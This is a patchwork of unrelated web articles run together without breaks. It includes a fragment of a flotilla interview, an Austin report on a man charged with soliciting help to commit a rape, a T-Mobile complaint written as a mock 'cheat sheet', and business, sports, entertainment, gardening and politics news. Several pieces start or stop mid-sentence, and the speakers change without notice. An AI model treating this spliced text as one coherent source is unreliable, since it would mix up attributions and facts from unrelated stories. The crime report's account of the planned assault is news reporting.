AMIRA HASS: Yeah.
AMY GOODMAN: —made it out of Greek waters, when all the others, like the U.S.-flagged _Audacity of Hope, which we covered with reporters on board, were not able to make it out? How did they escape the Greek authorities, who were congratulated by the Israeli authorities for keeping the others?
AMIRA HASS: Because their port of origin was Corse, a French port in Corse, the island of Corse. And so, the Greek authorities could not use all their bureaucratic tricks which they used on the other boats in order to prevent them from leaving.
AMY GOODMAN: This was Corsica?
AMIRA HASS: Still, they were trying. Still, the—they left—on the 25th of June, they left Corse. Then they stayed in the high sea for almost—for more than a week. Then they’re waiting for all the other boats. Then they waited near Crete. Then they entered one of the ports of Crete. Then they managed to get some—also with difficulty, some permits by the Greek coastal guard. The only reason is that it did not originate from Greece. All the rest were subject to very harsh Greek tricks, of course by order of the Israeli government. There is no doubt about it.
AMY GOODMAN: Can you talk about the purpose, what the people on board the bucket, as you described it, the boat, that did get taken in to Ashdod—what their purpose was in challenging the blockade?
AMIRA HASS: The purpose was, of course, to accomplish the mission, even though it was already in Lilliputian measures—to complete the mission or to show the determination of people, not only of those 10 who were on board, of 10 activists, but of the entire group. And as—I have spent about a month with the activists, because at the beginning I was together with the Tahrir, I was staying with the people on Tahrir, the Canadian boat, which had some other delegations. And I’ve learned not only about these 10, but about the majority of the participants, that—in this flotilla, in this very flotilla, that they were really—really are motivated by, I would say, very clear emancipatory values and ideals and personal history of each person, not only in the Palestinian issue, in the Palestinian focalism in freedom, but in different issues that concern equality and rights and freedom. Many on the Canadian boat are involved in the fight for rights of First Nations. There are feminists, of course. There are people who are involved in—people from Australia who are involved in their struggles there against mistreatment and exploitation of refugees. So this was a very clear message of the whole flotilla. This emancipatory message was very clear for me.
JUAN GONZALEZ: Well, Amira—
AMIRA HASS: But at a certain moment, when the—yes?
JUAN GONZALEZ: Amira, if you can, I would like you to stay on as we bring in another guest.Austin Police have arrested a man they said was actively seeking help through anonymous chat services to rape a woman that he knew.
According to Austin Police, a lawyer told police that a client had been connected with someone on Omegle, an anonymous chat service, who said, “looking for someone to help me rape a girl I know. Interested?”
The two moved the conversation to Kik.com and the suspect allegedly said the woman he planned to rape knew him. The person who was receiving the messages said he went to an attorney and felt a moral obligation to get police involved.
Austin Police said the user who was sending the messages on kik.com went by the username, “ATXgrad.” The holder of the account was identified as 27-year-old Blaine A. Mallon.
Police received screen shots of the conversation with the tipster that allegedly included information Mallon provided including: photos of the victim; victim’s home address; description of the victim’s car; the victim’s work hours; information about when the victim’s boyfriend is leaving town; and a statement that said, “She lives alone. Great Body. Very much a good girl mentality. Should be a lot of fun.”
According to police, Mallon told the tipster he needed help raping the woman because he was afraid she would recognize him. Mallon allegedly set the rape up for when the boyfriend was leaving town and had a plan set up to blindfold and gag the victim before he came into the apartment and then both would rape the woman.
Police met with the victim, her sister, and boyfriend and explained the information they had obtained. Police planned an undercover operation where an officer would take the place of the client and when the suspect came into the apartment, he would be taken into custody.
When Austin Police tried to contact “ATXgrad,” the message was not received and it was believed the user had deleted their account. Police had an officer in place of the victim on the date the intended rape was to take place out of precaution.
The victim gave a list of people to police who knew all or part of the information that was given to the tipster. Police said of all the potential suspects, Mallon was the only person who knew all of the information. Police subpoenaed information from Omegle and found the suspect used a T-Mobile phone to connect with the service. According to Austin Police, Mallon was the one of two possible suspects who had cell service with T-Mobile. The victim also said Mallon was related to her and was in close proximity to him on a regular basis.
Police interviewed Mallon and he said he learned about what was going on through the victim’s sister. As the interview continued, police presented the information they had found during the investigation and Austin Police said Mallon confessed he was the person who wanted to rape the victim in the chat conversations.
According to the arrest affidavit, when asked who someone would help rape the victim, Mallon stated it was a fantasy. Mallon allegedly told police that he wouldn’t hurt the victim. He further stated that he would have stopped the rape from happening by telling the other person the victim’s address was fake, according to APD.
Mallon face a second-degree felony charge of criminal solicitation.In two weeks, I leave for a six-month trip abroad. I bought a Nexus 7 to act as my primary computer. I heard T-Mobile has the best worldwide data plan and was excited to try it out. While installing the SIM, their sales rep broke the mic on my tablet. I was amazed by how poorly they dealt with the situation. Here’s what happened and what I learned about how T-Mobile cares for its customers.
The Cheat Sheet
Do not admit fault. Tell the customer they can’t prove the microphone was working when they came to the store. If they don’t go away, say, “We’re sorry you had a bad experience.” Don’t mention that T-Mobile caused that experience, and definitely do not say, “We’re sorry we broke your tablet’s microphone.”
Tell the customer they can’t prove the microphone was working when they came to the store. If they don’t go away, say, “We’re sorry you had a bad experience.” Don’t mention that T-Mobile caused that experience, and definitely do not say, “We’re sorry we broke your tablet’s microphone.” Shift the cost to a third party. Is the device under warranty? Ask them to fix it through the warranty for manufacturer defects. Did they just buy the device? Ask them to return it.
Is the device under warranty? Ask them to fix it through the warranty for manufacturer defects. Did they just buy the device? Ask them to return it. Lie. Say, the tablet had issues before it got to the store, the customer told you so. Assert that they told you to stick the SIM eject tool into the microphone hole.
Say, the tablet had issues before it got to the store, the customer told you so. Assert that they told you to stick the SIM eject tool into the microphone hole. Avoid a record of the issue. Do not record it in T-Mobile’s electronic system. Instead, write the complaint on a piece of paper—this looks good and no one needs to know it happened.
. Do not record it in T-Mobile’s electronic system. Instead, write the complaint on a piece of paper—this looks good and no one needs to know it happened. Make the process hard and hope they give up. Tell them we’ll get back to them in 24 to 48 hours, and do not respond to their emails. They’ll give up or have to spend more time and effort chasing us down. Tell them we’ll talk, but only after they get quotes for fixing the microphone from a repair store, and after they’ve asked the Google Play Store to fix it, and after they’ve asked the manufacturer to fix it.
Tell them we’ll get back to them in 24 to 48 hours, and do not respond to their emails. They’ll give up or have to spend more time and effort chasing us down. Tell them we’ll talk, but only after they get quotes for fixing the microphone from a repair store, and after they’ve asked the Google Play Store to fix it, and after they’ve asked the manufacturer to fix it. Offer credit rather than money. When all else fails, do not offer to fix or replace the tablet. Do not offer cash. Offer T-Mobile credit. If they want the credit, they’ll be forced to be our customer.
The Story
I take my Nexus 7 to the T-Mobile store at 50 Powell Street in San Francisco, California. I tell Josh, the sales rep, that I want a SIM card for my tablet. I point to the SIM eject slot. He inserts his Apple SIM eject tool into the slot. It’s too short and doesn’t eject the tray.
“Are you sure that’s the SIM hole?” he asks.
Before I answer, he pushes the tool into the microphone slot.
“Nope. That’s not it,” he realizes.
I should’ve known.
A few minutes later, we’ve installed the SIM card. I thank Josh, and he tells me, “You’ll receive a text message asking about your experience at the store. I’d appreciate it if you gave me all fives.”
When I get back to my office, I realize I should test my microphone. It’s dead.
I call Josh and tell him he broke the mic on my tablet. He says they’re just a retail store and can’t do anything. Call customer care.
I call customer care and explain the situation.
“Can you return it to the Apple Store?”
“Um…, it’s not an iPad. Also, why should Apple pay for T-Mobile’s mistake?”
“You’ll have to take care of it through the store. Sorry.”
I walk back to the T-Mobile store and ask to speak with a manager. Jeff looks eager to help. He asks me questions and writes the answers on a Post-it.
“What is the make and model? How much did you buy it for? Is it still covered under warranty? We don’t have a standard policy for dealing with these issues. I’ll discuss it with our district manager. He typically responds in 24–48 hours. In the meantime, get some quotes for fixing the microphone.”
A couple days and a couple of emails later, I’ve heard nothing from Jeff. I go back to the T-Mobile store, but Jeff’s not there, so I talk to another manager, Ron. He calls a local electronics repair store.
“You’re in luck! The Nexus 7 is Google’s flagship product. They’ll fix it for you for free. They won’t even ask you where and when you bought it.”
“That’s not right. You’re asking me to make Google pay for your company’s mistake. I expect T-Mobile to replace my tablet.”
Ron politely but firmly cuts me off. “Talk to Google first, then we can discuss other options.”
The next day, I spend thirty minutes with a Google representative. I change my settings, reboot my tablet, do a factory reset. The mic is still broken. The rep says, sorry, but your device is not under warranty. Try calling the manufacturer.
I spend the next twenty minutes on the phone with a representative from ASUS. The device isn’t under warranty, so I’ll have to pay ASUS to get it fixed. He estimates that it will cost $100.
I go to the T-Mobile store for the third time since they broke my mic. Jeff says, “We can’t know that the mic was working when you brought the device in. You said you purchased it used and that you were experiencing other issues with it, like with the video camera.”
“Whoa! Wait a second. Yes, I got it used, but I never said I had issues with it. I had it for one day before I brought it to you guys, and it worked perfectly. Plus, the vendor protects buyers against defective products. If the mic or the camera were broken, I would’ve returned it. Let’s talk to Josh. Josh, did you stick your SIM tool into the mic hole?”
“Yes, but only because you asked me to.”
He’s lying too! I’m shocked they’re using such a dirty tactic to shirk their responsibilities.
“The best we can offer you is $40 in credit, as a courtesy.”
A courtesy? Clearly Jeff will do nothing more to resolve this situation. I write to the district manager, Max, and explain the situation to him. I don’t want to wait for a response, so the next morning, I call customer care and talk to a customer care manager. She says there’s no record of this issue on my account. Well played, Jeff. I’m on the phone for another 45 minutes before she tells me that I have to work it out with the district manager.
The following Monday, I get an email from the district manager. His emails carry scary legal warnings so I won’t say much about them. He offers me $70 in T-Mobile credit. I tell him that is unacceptable. We write back and forth over the next four days. He refuses to put me in touch with his manager, but assures me that they both agree that $100 in T-Mobile credit is fair and the best they can do.
The Final Offer
On Tue, Mar 3, 2015 at 2:38 PM, from me to Max, the district manager:
Suppose I owned a parking garage. To maximize my profits, I want to pack in as many cars as possible. In doing so, I might damage some cars. If I never have to compensate my customers for the damage in full, I would have a financial incentive to pack cars in at the risk of damaging them. T-Mobile has damaged my device in its efforts to maximize profit. I will go to great lengths to make sure T-Mobile does not have a financial incentive to continue such poor practices.
I did not accept their offer. If I did, T-Mobile would still think, the risk is worth the reward. The next time they damaged a customer’s device, they would find it profitable to put them through the same wringer they put me through. If the customer drops out of the process sooner than I did, T-Mobile gets away with a discount on their liabilities. This article is my small effort to make their immoral business practices unprofitable. If you’d like to help me, please retweet and share this article with your friends. Thanks for reading!(Reuters) - Noble Energy Inc said on Monday it would acquire Rosetta Resources Inc for about $2 billion in stock, marking the first significant deal among U.S. shale oil producers following a steep fall in global crude prices.
A nearly 50 percent drop in crude prices since June highs of over $100 per barrel has for months raised expectations for a wave of mergers and acquisitions in the highly-fragmented shale oil industry.
But until now buyers and sellers had been unable to agree on valuations and the outlook for future prices. With the Noble acquisition, a precedent has been set that will clear a path for other companies plotting shale deals, people familiar with the transaction said.
Shares of Rosetta rose 25 percent to $24.23 and shares of Noble fell 7 percent to $45.39 on the New York Stock Exchange.
The deal will give Noble entry into two of the country’s top producing shale fields, the Eagle Ford Shale and Permian Bain in Texas. Noble, which is also drilling for natural gas offshore Israel, is already pumping oil and gas in other fields, including in Colorado.
The Houston-based company said it had identified more than 1,800 drilling locations across Rosetta’s liquids-rich assets, consisting of 50,000 net acres (20,234 net hectares) in the Eagle Ford shale and 56,000 net acres in the Permian.
The assets have the potential to produce about 1 billion barrels of oil equivalent and will raise company-wide production 21 percent, Noble said.
“Noble has the balance sheet, the expertise, and the bandwidth to do a great job with these two properties,” Irene Haas, an analyst with Wunderlich Securities Inc, said in a note.
Royal Dutch Shell agreed last month to buy BG Group for about $70 billion in a deal centered around liquefied natural gas. That deal was also seen as paving the way for mergers and acquisitions in the oil sector..
The offer of 0.542 Noble share for each Rosetta share held represents a 38 percent premium to Rosetta’s Friday close. The shares had lost nearly two-thirds of their value since June.
Noble will also assume Rosetta’s net debt of $1.8 billion as of March 31.
“The purchase does add diversification into the Permian and Eagle Ford, which reduces Noble’s exposure to Israel,” Barclays analysts wrote in a note.
Up to Friday’s close, Noble’s shares had fallen nearly 37 percent since last June.Kiersey Clemons has closed a deal to star opposite Ezra Miller in “The Flash” movie.
Variety first reported earlier this month that she was the top choice for the female lead in the Warner Bros. film.
Insiders reveal that Clemons is likely to play Iris West, the tough-as-nails journalist and friend of Barry Allen, the Flash’s alter ego.
“The Flash” had to overcome the hurdle of replacing the film’s original director, Seth Grahame-Smith, who parted ways with the project over creative differences. “Dope” helmer Rick Famuyiwa took over directing duties in June. The movie, however, appears to be able to meet its planned start date. Production is expected to commence sometime this year.
The studio is keeping Smith’s most recent draft of the script, which is based on a treatment by Chris Miller and Phil Lord.
Clemons’ star has risen significantly since her breakout performance in “Dope.” She landed a role as one of Chloe Moretz’s sorority sisters in “Neighbors 2: Sorority Rising,” as well as one of the leads in Sony’s remake of “Flatliners.”
She is repped by UTA, MJMG and Mach 1 Management.Here’s something we missed last week: on September 22, several activists involved in #OCCUPYWALLSTREET disrupted an auction at Sotheby’s on the Upper East Side. They said it was out of solidarity for the locked out art handlers union.
It begins as one lot had reached a bid of $130,000. A young woman stands up and announces that Sotheby’s made profits of $680 million last year (this is kind of a refrain for the protesters; they also unleash several attacks on Sotheby’s well-paid CEO William Rup
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4) NASA's GISS site Why not get your climate change data, briefings and graphics directly from the experts. I use the GISS surface temp. graphics page a lot in part because the figures are updated as new data comes in, as errors get fixed, as data correction techniques improve, etc. You can even plot your own temp. data map, like this one of ocean SST for August 2010.
5) Global Warming Art Professional and clear graphics of climate change data. Very useful.
Source: Global Warming Art
6) RealClimate A highly influential site and key resource run by some of the world's leading atmospheric climate scientists. However, the posts have been somewhat infrequent lately, tend to be very technical and can have a strong inside-baseball flavor with climate change icons like Andrew Revkin and Bill McKibben sometimes stopping by to comment. Still I often go back and read old posts like "Dummies guide to the latest "hockey stick" controversy" and "Michael Crichton's State of Confusion" when I need to catch up on some topic or debate. Articles often garner hundreds of comments, many of which can be at least as insightful as the original post.
7) ClimateShifts Run by myself, Ove Hoegh-Guldberg (director of UQs Global Change Institute and lead coordinating author of the AR5 chapter on impacts of climate change on open oceans), and our currently lost-at-sea mate, Blogger Jez. We generally focus on the impacts of climate change on ocean ecosystems, particularly coral reefs. We also cover a range of other threats like overfishing and pollution and other aspects of marine biology and coral reef science.
8) The Climate Change Collection at the Encyclopedia of Earth The EoE is an amazing resource. This collection includes lots of superb articles, biographies of climate change scientists and the climate literacy handbook.
9) ClimateProgress The "indispensable blog" according to Tom Friedman. Up-to-the-minute coverage of the politics, science and solutions of anthropogenic climate change. I don't think editor and lead blogger Joe Romm ever sleeps. He also has some nice resources on the site including An illustrated guide to the latest climate science.
10) Arctic Sea Ice by popular demand!
That gets us into the more political blogs, mainly written by atmospheric scientists or computer scientists of one flavor or another. They are hugely important and I frequently read them, but they often are pretty technical and can get sidetracked by petty battles with deniers skeptics. That said, they are helping to keep the deniers skeptics in check. Or at least regularly pointing out the fallacies in denier skeptic arguments (though not always as respectfully as is done here at SkepticalScience). So if you're game, start with Deltoid and OpenMind. And if you want to take a glimpse at what passes for rational argument in the climate denial skeptic community, visit their mecca: Watts Up With That?
Have some favorites of your own? Please share (in the comments section)Investment website SeekingAlpha.com published an article this week looking at the huge spike in organic Google search traffic that WWE.com received for SummerSlam. Analyst Steven Borovay believes this is a strong indicator that WWE added a significant number of new subscribers to the WWE Network for the show.
Back in April, WWE.com’s organic Google search traffic peaked at around 3.4 million searches for WrestleMania 30. For SummerSlam, Google search traffic spiked 26.9%, peaking around 4.4 million searches. Borovay notes that most WWE Network subscribers go directly to WWE.com (instead of searching through Google to access to the site), which “should substantially increase network subscriptions.”
Combined with WWE’s expansion into over 150 foreign countries, Borovay is confident that WWE is making big gains towards it’s recently-lowered break-even point.
I conclusion, he write that WWE “will body slam all external negative expectations by analysts that are too focused on short term glitches and not looking at the big picture.”ADA, MI – A tiny nonprofit group that brings laughter to grieving people was stunned to receive a $10,000 grant Stephen Colbert, the satirist and comedian who created “The Colbert Report.” “It came out of no place,” said Bart Sumner, an actor and writer who formed Healing Improv in 2012. When his wife called to tell him the news, he said, “I nearly drove off Ada Drive. It absolutely blew me away.” Healing Improv runs comedy improv workshops that aim to relieve stress, provide emotional connections and laughter for people who are grieving. Sumner created the organization after his 10-year-old son, David, died in 2009. He realized that performing and teaching helped him survive that devastating loss. “Laughter and tears are right next to each other in the emotional scale,” Sumner said.
Related:
The group operates on a small scale. The workshops are free. Sumner donates his time. It has raised about $4,000 in the past 18 months to cover some travel expenses and rental space. The $10,000 grant makes a big difference for the group, Sumner said. It will help pay for advertising to reach more participants and more travel costs to partner with groups requesting workshops. “This will really allow us to spread our net out and help people all over the place,” Sumner said. The money comes from The Stephen Colbert AmeriCone Dream Fund of the Coastal Community Foundation. Colbert donates his proceeds from the sale of Ben & Jerry’s AmeriCone Dream Ice Cream to the charity. Colbert hosted the Comedy Central television show “The Colbert Report” for nine years, ending last month, and is taking over CBS’s The Late Show after David Letterman reties in May. Max Werner, a member of Colbert’s writing staff, is familiar with Healing Improv – and Sumner said he is the one who recommended the West Michigan group for the grant. In addition to the workshops, Sumner writes a blog at
and has published a book, “Healing Improv: A Journey through Grief to Laughter.” It is all done with his son, David, in mind. “It’s my way of paying it all forward, to do something good in his name, to use what I’ve been doing to help others,” Sumner said. Healing Improv’s next workshop will be 2-4 p.m. Jan. 31, at Grand Rapids Civic Theatre. For information, go to
Sue Thoms covers health care for MLive/The Grand Rapids Press. Email her at [email protected] or follow her on Twitter, Facebook or Google+.Developers who say they have purchased the air rights over the very downtown rail corridor where Mayor John Tory is planning to build his massive $1-billion "rail-deck" park are warning they won't roll over without a fight.
Architect Dermot Sweeny and a firm called Craft Development Corp. want to line the site with condos, offices and retail, and include a park that would be less than half the size of the one in Mr. Tory's plan. But they say their vision would also mean a much cheaper price tag for the city.
Craft chief executive officer Peter Griffis said he plans to have a development application "formalized and ready to go" for the site by the end of November, despite the city's intention to rezone the entire area for a park. He warned the battle would end up at the Ontario Municipal Board.
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"I am quite comfortable … with my position. The city is going to do what they want. This is political, that you can see," Mr. Griffis said in an interview.
Toronto City Council, which is meeting on Wednesday, is set to debate whether to spend $2.4-million studying how to pull off Mr. Tory's plan to bring 8.5 hectares of parkland to park-starved downtown condo-dwellers by building a platform over the railways that cut across the city's centre. Craft's alternative plan is expected to gain some traction with some councillors who question the expensive rail-deck plan.
The city's chief planner, Jennifer Keesmaat, has previously dismissed the alternative plans, saying a win for the city in any OMB battle would be a "no-brainer." Ms. Keesmaat also told The Globe last month that the city had no confirmation the developers had even purchased the air rights from the railways.
To address this claim, Mr. Griffis instructed his lawyers to send The Globe two short letters provided to city planners and dated Sept. 15. One is from a lawyer for Craft, the other from a lawyer for Canadian National Railway Co. and the Toronto Terminals Railway Co. Ltd., the company co-owned by CN and Canadian Pacific Railway Ltd. that controls the tracks around Union Station.
The letters say that Craft entered into a "binding and enforceable" agreement of purchase and sale in 2013 for "air space above the rail, south of Front Street West, between Bathurst Street and Blue Jays Way."
The letters do not say if the deal has closed. The letters also do not say whether the deal is conditional on the land actually being zoned for development or for a certain density – a common clause in such deals. Mr. Griffis would not reveal any other details on Tuesday. Mr. Sweeny said the deal had not yet closed.
Local city councillor Joe Cressy, a booster of the city's rail-deck park concept, said he and city staff had seen those letters but that they lack necessary details. The developers themselves, he said, told him when they met earlier this year that the deal was "conditional." Regardless, he said, the city will still need to discuss terms with whoever actually holds the air rights as it proceeds with its plans to build the park.
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"There are developers who have different visions of the rail corridor than Mayor Tory and I," Mr. Cressy said. "Rather than a park, they would like to see more condo towers. However, the mayor and I are determined to build a new park."
A spokeswoman for the mayor, Amanda Galbraith, said the city is within its rights to rezone the corridor for parkland, regardless of any air-rights deal: "It is important to understand that it's fully within the city's jurisdiction to determine the appropriate use of land. And the appropriate use of that land as recommended by city staff with the full support of the Mayor is a park."
According to its website, Craft has not attempted a project approaching this magnitude in the past: It has only nine smaller developments in Toronto, but has built plazas and retail developments in smaller cities around Southern Ontario, including Kitchener and Keswick.
Mr. Sweeny, an architect whose buildings include the Queen Richmond Centre West near Queen Street West and Spadina Avenue, says allowing developers into the mix might actually see some sort of rail-deck park become a reality, rather than languish without funding.
"We could achieve eight acres [3.2 ha] of fantastic downtown fabulous parkland, at a tiny fraction of the cost," Mr. Sweeny said.(ANSA) - Rome, June 22 - Premier Paolo Gentiloni reiterated Thursday that the European Union must do more to help Italy cope with the Mediterranean asylum-seeker crisis after a bilateral meeting with European Commission Jean-Claude Juncker. "Greater commitment is needed both in economic terms and in terms of political decisions," Gentiloni said as he went into a meeting of the Party of European Socialists before the start of the European Summit. "It is necessary to recognise that the Commission and Jean-Claude Juncker are aware of this commitment.
"I hope that this translates into a refinancing of the fund for Africa, which the Commission will promote". Juncker told Gentiloni that Italy can "continue to count on European solidarity" during the bilateral, an EC spokesperson said. The spokesperson said the two agreed in particular on the "need for the EU and member states to speed up implementation of the agreed-upon actions in the Malta Declaration" as well as "ensure sufficient financing to face the migrant influx from Libya".
Gentiloni thanked Juncker for the record EU solidarity fund allocation of 1.2 billion euros for the parts of Italy hit by a recent series of earthquakes.Space: The Female Frontier
by Kate Lock. Radio Times magazine August 24 1996.
Its hugely popular follow-up, Star Trek: The Next Generation, portrayed its main female characters in traditional caring roles - as a doctor, Beverly Crusher (Gates McFadden), and a counsellor, Deanna Troi (Marina Sirtis), while Whoopi Goldberg hung out in a collection of funny hats and gave sage advice to Picard.
"I think we took the formula more than a step further because Gates and I were both in powerful positions," says Sirtis, a London lass who now lives in LA. "Star Trek is very much a reflection of what is happening in society. But this is American TV; they're reluctant to push it too far in case the advertisers back out."
A case in point was McFadden's so-called lesbian kiss in an episode where a male Trill host whom she used to love died and the Trill (a symbiont who lives in a humanoid body) returned as a female. McFadden got to kiss her on the wrist. In Rejoined, a forthcoming episode of TNG's successor, Deep Space Nine (currently showing on Thursdays on BBC2 and Sundays on Sky One), science officer Jadzia Dax (Terry Farrell), also a Trill, goes one step further when she kisses her symbiont's former husband, now a woman, on the lips. It caused furore. "We stuck our toes in the water, but in DS9 they jumped right in," laughs Sirtis.
Tiny but bosomy - Troi's cleavage is a source of much speculation among adolescent Trekkers, who stick her head on to naked women's bodies on the Internet - Sirtis makes no byBones about her sex-symbol status. "Apparently I'm the 'eye-candy' of TNG, which at my age [mid- to late-30's] I find quite a compliment."
Although she's glad to be out of the tight-fitting uniforms - "after seven years I can finaly breath out" - she recognises that looks count, whatever quadrant of the galaxy you come from: "It's part of the deal. That's what the American public wants to see, not women who look like they've been dragged through a hedge backwards. So, yes, we are important, valuable members of the cast, but we have the extra pressure of having to look beautiful all the time."
Even DS9, which features the tough, go-getting second officer, Major Kira Nerys (Nana Visitor) and the aforementioned Dax, hasn't broken that mould: Farrell, a former model, has three pairs of falsies to give her the required outline. "I've got special ones that move when I run; the ones I normally wear are huge because I wear black and you disappear against the dark background. But if I wear those things in a brightly coloured outfit they're too big, so they gave me smaller ones..."
But at least the DS9 duo don't have to contend with the unresolved sexual tension that continued to both McFadden - whose character had an on-off relationship with Picard - and Sirtis, who found herself in a half-hearted love triangle with Riker and Worf. "I felt that the directors had seen Beauty and the Beast one too many times," she says. Notwithstanding the fact that Klingon love-making is reputed to be too ferocious for humans to stand. "Quite. But they chickened out. We would both have been in the emergency room after the first session."
Sex, however, really is the final frontier when it comes to Star Trek. "We did an episode in the fourth season and there was a lot of hoopla over it because I was going to be in bed with somebody. The fans went nuts, going, 'We don't want sex in Star Trek,' " remembers Sirtis. "And I was thinking, how do they procreate in the 24th century?"
Live long and prosper? Yes, but discreetly...Giants quarterback Eli Manning is closing on a new deal.
NFL Media Insider Ian Rapoport reported Wednesday that significant progress has been made on a long-term extension, per sources informed of the negotiations, and there is optimism on both sides that a new deal could be reached by Sunday, when the Giants open the season against the Dallas Cowboys.
The timing is not a coincidence. Earlier this week, Manning professed his desire to ink a deal before the start of the season.
"I'm not a big fan of contract negotiations during the season," Manning said on WFAN on Tuesday morning, via the New York Daily News. "I'm hoping if this thing is gonna get done, it's gonna get done quickly."
As Rapoport noted earlier this summer, Manning had hoped to work something out before or during the team's training camp. That obviously did not happen despite the fact that both of Manning's 2004 draft contemporaries, Philip Rivers and Ben Roethlisberger, struck brand-new mega-extensions this season.
Now, the only question is whether or not Manning will top either of those deals.
Over the last few months, we've heard Manning's agent make reference to some of the additional values the quarterback brings to the table. Roethlisberger and Rivers do not have to play in New York and don't have to handle the same massive media responsibilities that Manning does. Neither Rivers nor Roethlisberger will be single-handedly charged with trying to rescue a sinking ship or potentially bridge the gap between Tom Coughlin and the team's next head coach, either.
Whenever this deal comes down, it will be hefty. Assuming Manning plays well under McAdoo for a second straight season, it had better get done before the opener on Sunday.Posted on: Friday, August 31, 2007 HAWAI'I'S GARDENS
Calabash tree grown for its distinctive appearance By Duane Choy La'amia, the calabash tree, grows the hard-shelled gourds that are, when dried, turned into any number of useful items. Duane Choy HOW TO GROW LA'AMIA To grow la'amia from seed, take the fruit pulp with the seed content and soak for an hour to hydrate the seeds and facilitate removal. Hand-squeeze the pulp while rinsing in fresh water and removing seeds. Collect seeds in a strainer. Wash seeds again vigorously under running water to eliminate impurities. Dry the seeds. Seeds germinate within 10 to 15 days of sowing. Plant in full sun, with well-draining soil. La'amia can also be propagated by seedlings or stem cuttings. Prune the tips of branches regularly when the tree is young to develop increased secondary branches nearer to the trunk. This regimen will increase the diameter of the main branches and thicken the canopy. If you want an eye-grabbing, evergreen ornamental plant for your landscape, the calabash tree (Crescentia cujete), known in Hawai'i as the la'amia, is your "lock" of the season (yes, I'm excited about UH football tomorrow). With its continually emerging flowers and subsequent fruit, the gourds that hang like Christmas ornaments, la'amia creates a focal point in the garden or as a riveting specimen near a deck or patio. Native to subtropical and tropical regions of the Caribbean, Mexico, Central America and northern South America, la'amia probably have been cultivated for more than 600 years. Relatively fast-growing, la'amia have a short, straight trunk with an open crown of contorted, horizontal or rising branches. They will grow at sea level, up to an altitude of about 2,300 feet. The four- to six-inch-long elliptical leaves are bright green and create a moderate shade cover. Cup-shaped, isolated flowers that erupt directly from branches are white or cream-colored and have a fetid smell. The globose or ovalish gourd (called a capsule in botany-speak) has a hard, smooth shell and fleshy pulp. The gourds mature and ripen slowly, remaining on the tree for several months, turning yellowish as they age. Seeds are egg-shaped and flattish, with a dark brown coat, furrowed with dots and opaque. Outside of Hawai'i, fibers from la'amia were braided into twine and ropes. The hard wood was carved into tools and tool handles, and the split wood was woven into sturdy baskets. Small branches were fashioned into switches for disciplining children across the knuckles. There are abundant traditional and historical medicinal applications of the fruit juice. In Haiti and St. Lucia, it is used to treat inflammation, trauma and diarrhea. It's a purgative in Costa Rica. In Venezuela, it is used to treat tumors and hematomas. But the fruit capsules, the gourds, are the center of attention. They are used as containers and cups, and to make arts and crafts. Paddlers use them to bail out canoes and to scoop fresh water. The Taino of the Caribbean would cut eye holes in the gourds and fit them over their heads and wade out into lakes or the ocean the appearance of the floating gourd did not alarm or frighten birds. The camouflaged hunters then could grab birds by their legs. Carib Indians of Dominica would carve intricate designs into the woody gourds during the fruit's softer green phase. When dry, the la'amia gourds were permanently etched with these ornate motifs. The Taino also turned the gourds into two rhythm instruments maracas and the guiro. Maracas were fashioned from small oval gourds with pebbles or hard seeds such as rosary peas inside. In Hawai'i, the body of the modern 'uli'uli is customized from the la'amia gourd. Seeds of the introduced yellow or red flowered canna lily, ali'ipoe, are used to produce the rattling sound. La'amia have a deep root system and are resistant to drought. No pests or major diseases are of major concern, but Chinese rose beetles and a leaf-webbing caterpillar occasionally will be bothersome. You can bet on la'amia as a guaranteed winner during any season in your Hawaiian garden. Duane Choy, a Hawai'i native-plant specialist, is a consultant for nonprofit organizations involved primarily with environmental missions. Reach him at [email protected]: Ahead of its Berlinale debut, Screen talked to the producers behind the buzzed-about John le Carré adaptation, which cost $5m per episode.
With a budget and creative team that most film producers can only dream of, it’s easy to see why Susanne Bier’s The Night Manager is among the most anticipated projects to screen at this year’s Berlin Film Festival.
It’s a sign of the times, however, that the project isn’t a feature screening in main competition but in fact a six-part TV series whose first two episodes are showing in the glittering TV strand Berlinale Special Series.
The BBC-AMC co-commission combines acclaimed source material from iconic spy novelist John le Carré, Oscar-winning director Bier, a cast including Tom Hiddleston, Elizabeth Debicki, Hugh Laurie, Olivia Colman and Tom Hollander, and in-demand screenwriter David Farr.
At $30m, The Night Manager has a budget bigger than any film playing at this year’s Berlinale, and at $5m a pop, the series is the priciest drama per episode of any commissioned by a UK broadcaster.
Crucially for the UK’s flagship public broadcaster, it is the first BBC TV adaptation of a le Carré novel in almost 30 years.
In The Night Manager, leading man Hiddleston plays Pine, a night manager of a European hotel who is recruited by intelligence agents to infiltrate an international arms dealer’s network.
The buzzed-about series is a fusion of spy story and tale of organised crime, in which to infiltrate the inner circle of a lethal and amoral gangster, Pine must himself become a criminal.
The source material has been long in-demand.
“It has been a 23-year journey from book to screen,” explains le Carré’s son Simon Cornwell, who produces with brother Stephen under their red-hot London and LA-based production banner The Ink Factory (Our Kind Of Traitor).
“Soon after the book was published in 1993, it was optioned by Paramount as a feature with Sydney Pollack attached to direct from Robert Towne’s script. That didn’t work. Five years ago, Brad Pitt and Plan B Entertainment took it on with Paramount again on board. But that didn’t work either.”
Everyone wanted a piece of the novel. Even The Night Manager star Hugh Laurie tried to option the book when it first came out, wanting to play Pine.
“But this is a sprawling 500-page book, across different continents, with massive characters who muscle their way off the page,” explains Cornwell. “It just didn’t fit into 90 minutes.”
US network AMC joined soon after the BBC in a deal facilitated by WME. The Mad Men broadcaster will distribute in North America and a host of international markets.
“We financed the series like an independent film,” acknowledges Stephen.
“We made chunky presales in Europe and we had tax incentives in Spain and the UK. We committed equity to the project ourselves and Demarest joined as a junior equity partner.”
Le Carré himself helped adapt his novel by adding hooks for contemporary audiences. Olivia Colman’s character Burr is in fact a gruff, no-nonsense Yorkshireman in the book.
It is the first time a le Carré character has been gender-swapped for screen.
Were the series to return for a second run, that would also mark a first:
“It’s a lovely idea but le Carre has never allowed an adaptation that goes beyond the parameters of the original book,” cautions Simon. “We’re not ruling it out, but we’re not ruling it in.”
The Ink Factory has plenty to keep it busy in the meantime. The film and TV company is on a roll. Having produced back to back le Carré film adaptations (A Most Wanted Man and Our Kind Of Traitor, the latter due out in May), the company is in post-production on Ang Lee’s Billy Lynn’s Long Halftime Walk and Fabrice Du Welz’s Message From The King, both of which are released this year.
Owning the le Carré IP is a golden ticket, but the slate is increasingly diverse.
